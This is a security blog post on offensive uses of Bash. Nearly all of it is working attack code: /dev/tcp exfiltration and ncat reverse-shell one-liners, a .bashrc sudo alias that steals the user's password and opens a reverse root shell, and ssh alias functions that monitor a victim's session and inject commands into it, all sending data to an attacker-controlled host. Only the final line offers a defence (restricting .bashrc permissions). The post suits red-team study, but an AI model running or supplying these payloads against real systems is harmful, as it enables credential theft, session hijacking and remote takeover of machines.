I want a "Red Teaming"
Michael Schneider
This is how attackers use Bash to their advantage
If blind injection is possible, sending data back on a seperate channel may be an option:
# executed on victims machine bash -c "id &>/dev/tcp/*yourip*/*yourport*"
Here we run the id
command and redirect its output to a special file which opens a tcp connection to the specified host and port. Before running that command, ready a listener on your machine. Netcat (ncat, the more feature-rich implementation from the Nmap project) is a great option:
# executed on attackers machine ncat -vvlp *port*
With added $cr1pTK1ddi3 encryption:
# executed on victims machine bash -c "id | base64 >/dev/tcp/*yourip*/*port*"
With real encryption (assuming Netcat is installed on the target system):
# executed on victims machine bash -c "ncat *yourip* *yourport* --ssl --sh-exec \"id\""
If your situation requires more than a simple fire and forget command, you can interact with a Bash instance on the target machine:
# executed on victims machine bash -c "ncat *yourip* *yourport* --ssl --sh-exec \"bash\""
With an initial remote shell on the target system, bigger payloads which may be impractical to inject directly can be staged. Netcat is a very handy tool but it might not be installed on the target system. Without Netcat, something like this should do the trick:
# executed on victims machine bash -c "exec 101<>/dev/tcp/*yourip*/*port*; bash <&101 >&101 2>&1 &"
exec *file-descriptor*<>*file*
opens a file for reading and writing. Performing this operation on the special file as shown above, opens a socket we can henceforth reference by that file descriptor.
Then an instance of bash is started in the background which reads its input from the socket and writes its output back into the socket. Netcat on our outgoing system allows us to interact with the bash instance:
# executed on attackers machine root@kali:~# ncat -vvlp 80 Ncat: Version 7.70 ( https://nmap.org/ncat/ ) Ncat: Listening on :::80 Ncat: Listening on 0.0.0.0:80 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:33818. uname -s Linux whoami testuser
As demonstrated earlier, Netcat has an option to execute a shell command after establishing a connection. This gives us the ability to handle communication with the remote shell automatically once a connection is established.
A response script may look like this:
#!/bin/bash # script is executed on the attackers machine echo "uname -s" read -r line echo "$line" >uname.out echo "whoami" read -r line echo "$line" >whoami.out
In this context, echoing a string sends it over the established connection to our remote Bash instance. There, the string is read and evaluated by the Bash. After each command, the read
command gets the resulting output which is then written to a file. Netcat uses the script as follows:
# executed on attackers machine ncat --vvlp *listening-port* --sh-exec "./script.sh"
A more advanced and robust version of the above script may look like this:
#!/bin/bash run() { # run() echoes the command specified for the remote shell to execute, # then it echoes a second command which makes the remote shell return # a delimiter. The second command is only executed after the first has # finished, allowing us to associate all output up to the delimiter with # the first command. # # takes: # $1 command to execute. # $2 file to output to, defaults to default.log if omitted. cmd="$1" outfile="$2" # prefix commands in log for readability echo -n ">>> " >>"${outfile:=default.log}" printf "%s\n" "$cmd" | tee -a "$outfile" echo "echo -e \"\ncustomdelimiter101\"" while read -rs line do if ((${#line} > 0)) then if [[ "$line" != "customdelimiter101" ]] then printf "%s" "$line" >>"$outfile" echo >>"$outfile" else break fi else echo >>"$outfile" fi done } run whoami run "uname -s" run "cat /etc/passwd" echo "exit"
If a users ~/.bashrc
is writable, we can attempt a cheap privilege escalation (works if user has sudo rights).
# executed on victims machine intercept_sudo() { E=echo S=sudo K="/dev/tcp/*yourip*/*yourport*" H="/dev/null" F=() for((C=0;C<3;C++)); do read -rsp"[$S] password for `id -nu`: " P $E;$S -S true <<<"$P" &>$H if (($?==0)); then $E "${P@Q}">$K;unalias $S $E "$1: an unknown error occured" break fi sleep 0.5 if ((C<2)); then $E Sorry, try again. else $E "$S: 3 incorrect password attempts" fi done ($S -S su -c "exec 134<>$K;bash <&134 >&134 2>&1 &" root &>$H <<<"$P") } alias sudo="intercept_sudo"
This creates an alias for sudo to a function that is defined beforehand. The executed function prompts the user for its password just like normal sudo. If the password is correct, it sends the password to the attacker machine and starts a reverse root shell in the background. The users command is not executed because of the numerous edge cases to consider. Add the --keep-open
option to your Netcat listener if you attempt to try this code.
A really cool application of bashrc poisoning is local mitming of a users Bash or ssh session.
# executed on victims machine ssh_mitm() { #connection to the monitoring Netcat exec 43<>/dev/tcp/*yourip*/*yourport* rm /tmp/tonw 2>/dev/null mkfifo /tmp/tonw 2>/dev/null cat </tmp/tonw >&43 & bash -i -c "ssh $*" | tee -a /tmp/tonw } alias ssh=ssh_mitm
This little piece of code in a users .bashrc
allows for monitoring a running ssh session from a remote machine. It looks pretty cool (and scary) so I recommend trying it out, remember to ready your Netcat listener beforehand. The beauty of this approach is that there is no interference on the network level. Just right before data is presented to the user, a copy is made and sent over the network. No Errors, no Warnings. This was successfully tested with both public key and challenge-response authentication with a PAM (in our case a YubiKey).
If we want to be more than just a silent observer, things get a little complicated. The following version adds another channel through which an attacker can inject commands into the running ssh session.
# executed on victims machine filter() { #connection to the injecting Netcat exec 44<>/dev/tcp/*yourip*/*secondport* while :; do cat <&0 & job=$! tput cnorm read -r cmd <&44 exec 2>/dev/null kill $job echo -ne "\r" read -rs hide cat <<<"$cmd" >>/tmp/tossh exec 2>&1 done } ssh_mitm() { #connection to the monitoring Netcat exec 43<>/dev/tcp/*yourip*/*yourport* rm /tmp/tonw /tmp/tossh 2>/dev/null mkfifo /tmp/tonw 2>/dev/null mkfifo /tmp/tossh 2>/dev/null cat </tmp/tonw >&43 & bash -i -c "{ { cat /tmp/tossh & }; cat <&0; } | ssh -tt $*" | tee -a /tmp/tonw | filter } alias ssh=ssh_mitm
The code we originally used remains the same. Here we add an expression which combines ssh’s stdin with the input stream carrying our injected commands. A new filter stage is also added to the end of the pipeline to hide our injected commands from showing on the users screen. The filter function is also the party initially receiving our injected commands. This is to ensure it is prepared to filter the output. After a command is received, the filter function writes it into a FIFO which is read and fed to ssh. Because the current code is still rough around the edges and just filters out a single line (the line where our command magically appears on the users screen), the command we inject must not generate any output.
To prepare for execution of the code above, the attacker sets up 2 additional instances of Netcat: One to inject commands (the injecting instance) and another one to receive output of injected commands (the retrieving instance). We specify a redirection with injected commands so they write output to the retrieving Netcat instance and not to the terminal. The following could be pasted into the injecting netcat instance.
# executed on victims machine bash -c "cat /etc/passwd >/dev/tcp/*yourip*/*thirdport*"
Injecting the following starts a new remote shell in the background on the machine that was ssh’ed into, securing an independent channel.
# executed on victims machine bash -c "(exec 99<>/dev/tcp/*yourip*/*thirdport*; bash <&99 >&99 2>&1 &)"
And just like that, assuming everything goes smoothly, we can, without administrative privileges, piggyback on an ssh session we do not own to get a shell on a new machine. With Bash. Yes, this is indeed very cool.
A lot can go wrong with the code-example above. Stability and the correct handling of edge-cases were traded off for the small payload size.
One way to keep the size of this payload down is to offload the filtering to the attacker machine:
# executed on victims machine ssh_mitm() { bash -i -c "fltr() { exec 40<>/dev/tcp/*yourip*/*yourport*; { cat <&0 >&40 & }; cat <&40; };\ fltr2() { exec 41<>/dev/tcp/*yourip*/*secondport*; { cat <&0 >&41 & }; cat <&41; };\ fltr | ssh -tt $* | fltr2" } alias ssh=ssh_mitm
This piece of code forwards all user input to the attacker machine where it can be modified if needed.
The modified user input is then fed back to SSH. The output of SSH is too sent to the attacker machine for possible filtering or modification. Finally, the filtered SSH output is retrieved and fed to the terminal.
By offloading the filtering process to the attacker machine, we gain full control over over the data stream making complex filtering, modification and command injection possible without affecting the payload size. Using this approach, the latency did not increase to a suspicious amount with a stable connection to the host.
Bash may not be the fastest, prettiest or most stable kid on the block, but it works great for small, quick and dynamic payloads. The examples show how bashs powerful capabilities in manipulating data streams may also pose a security risk. And you may want to chown root:usergroup ~/.bashrc; chmod 640 ~/.bashrc
Our experts will get in contact with you!
Michael Schneider
Marisa Tschopp
Michèle Trebo
Andrea Covello
Our experts will get in contact with you!